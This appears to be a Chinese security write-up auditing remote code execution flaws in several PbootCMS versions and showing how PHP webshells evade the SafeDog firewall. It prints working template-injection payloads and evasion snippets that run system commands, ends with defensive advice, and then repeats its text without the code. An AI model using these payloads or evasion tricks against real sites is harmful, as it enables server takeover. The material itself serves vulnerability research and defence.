从PbootCMS审计到某狗绕过
字数 1288 2025-08-15 21:32:26

PbootCMS审计与安全绕过技术分析

1. PbootCMS 2.0.3前台RCE漏洞分析

1.1 漏洞背景

PbootCMS在2.0.3版本中存在前台远程代码执行(RCE)漏洞,源于其模板标签解析功能中不安全的eval使用。

1.2 漏洞位置

  • 留言功能\app\home\controller\IndexController.php中的addMsg函数
  • 标签解析\app\home\controller\ParserController.php中的parserIfLabel函数

1.3 漏洞利用步骤

  1. 留言板插入标签代码

    • 通过留言板插入恶意标签代码
    • 绕过过滤使用双写技术:pbootpboot:if:if
    • 需要后台管理员将留言内容设置为显示状态
  2. 解析if标签函数绕过

    • 系统通过正则提取pboot:if标签内容
    • 关键绕过技术:在函数名与括号间插入空格或控制字符([\x00-\x20])
    • PHP引擎会忽略这些控制字符,但代码仍能执行
  3. 最终payload构造

    • 过滤了phpinfobase64_decode
    • 使用chr函数拼接绕过:
      {pboot:if(1)$a=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$a();//)}
      

2. PbootCMS 2.0.7前台RCE漏洞

2.1 补丁与绕过

  • 新增过滤:core\basic\Model.php第1255行对SQL语句进行过滤

  • 绕过方法:在payload中多加一层pboot:if

    {pbootpboot:if:if(1)$a=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$a();//)}
    
  • 新增黑名单:parserIfLabel函数中增加了黑名单但不包含assert

  • 使用assert替代eval

    {pboot:if(1)assert(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111));//)}
    

3. PbootCMS 2.0.8后台RCE漏洞

3.1 补丁变化

  • 留言功能使用递归替换pboot:if字符串,双写技术失效
  • parserIfLabel函数正则表达式变更,空格插入技术失效

3.2 新型绕过技术

  1. 利用白名单函数

    • 白名单函数:date, in_array, explode, implode
    • 利用implode将数组元素拼接成字符串执行
  2. 可变函数机制

    • PHP可变函数特性:变量名后加圆括号会寻找同名函数执行
    • 构造payload:
      {pboot:if(1)$a=array('s','y','s','t','e','m');$b=implode('',$a);$b('whoami');//)}
      

4. WebShell绕过安全狗技术

4.1 可变函数绕过

  1. 检查函数是否存在:

    var_dump(function_exists('system')); // 返回true表示可用
    
  2. 直接使用可变函数会被拦截:

    $a = 'system'; $a('whoami');
    
  3. 使用implode加工绕过:

    $a = array('s','y','s','t','e','m'); 
    $b = implode('',$a); 
    $b('whoami');
    

4.2 控制字符绕过

  1. 在函数名和圆括号间插入控制字符(\x00-\x20)
  2. 示例:
    system\x0d\x0a('whoami');
    

5. 防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 避免使用黑名单方式,采用白名单更安全
  2. 代码执行安全

    • 避免直接使用eval执行动态代码
    • 如必须使用,应严格限制可执行的内容
  3. 安全配置

    • 及时更新CMS到最新版本
    • 限制后台管理权限
  4. WAF规则

    • 检测非常规函数调用方式
    • 监控控制字符的使用

6. 总结

本文详细分析了PbootCMS多个版本中的RCE漏洞及其绕过技术,从最初的简单双写绕过到后期的白名单函数利用,展示了安全攻防的演进过程。同时介绍了如何利用PHP特性绕过WAF防护,为安全研究和防御提供了有价值的参考。

PbootCMS审计与安全绕过技术分析 1. PbootCMS 2.0.3前台RCE漏洞分析 1.1 漏洞背景 PbootCMS在2.0.3版本中存在前台远程代码执行(RCE)漏洞,源于其模板标签解析功能中不安全的 eval 使用。 1.2 漏洞位置 留言功能 : \app\home\controller\IndexController.php 中的 addMsg 函数 标签解析 : \app\home\controller\ParserController.php 中的 parserIfLabel 函数 1.3 漏洞利用步骤 留言板插入标签代码 : 通过留言板插入恶意标签代码 绕过过滤使用双写技术: pbootpboot:if:if 需要后台管理员将留言内容设置为显示状态 解析if标签函数绕过 : 系统通过正则提取 pboot:if 标签内容 关键绕过技术:在函数名与括号间插入空格或控制字符( [\x00-\x20] ) PHP引擎会忽略这些控制字符,但代码仍能执行 最终payload构造 : 过滤了 phpinfo 和 base64_decode 使用 chr 函数拼接绕过: 2. PbootCMS 2.0.7前台RCE漏洞 2.1 补丁与绕过 新增过滤: core\basic\Model.php 第1255行对SQL语句进行过滤 绕过方法:在payload中多加一层 pboot:if 新增黑名单: parserIfLabel 函数中增加了黑名单但不包含 assert 使用 assert 替代 eval : 3. PbootCMS 2.0.8后台RCE漏洞 3.1 补丁变化 留言功能使用递归替换 pboot:if 字符串,双写技术失效 parserIfLabel 函数正则表达式变更,空格插入技术失效 3.2 新型绕过技术 利用白名单函数 : 白名单函数: date , in_array , explode , implode 利用 implode 将数组元素拼接成字符串执行 可变函数机制 : PHP可变函数特性:变量名后加圆括号会寻找同名函数执行 构造payload: 4. WebShell绕过安全狗技术 4.1 可变函数绕过 检查函数是否存在: 直接使用可变函数会被拦截: 使用 implode 加工绕过: 4.2 控制字符绕过 在函数名和圆括号间插入控制字符( \x00-\x20 ) 示例: 5. 防御建议 输入验证 : 对所有用户输入进行严格过滤 避免使用黑名单方式,采用白名单更安全 代码执行安全 : 避免直接使用 eval 执行动态代码 如必须使用,应严格限制可执行的内容 安全配置 : 及时更新CMS到最新版本 限制后台管理权限 WAF规则 : 检测非常规函数调用方式 监控控制字符的使用 6. 总结 本文详细分析了PbootCMS多个版本中的RCE漏洞及其绕过技术,从最初的简单双写绕过到后期的白名单函数利用,展示了安全攻防的演进过程。同时介绍了如何利用PHP特性绕过WAF防护,为安全研究和防御提供了有价值的参考。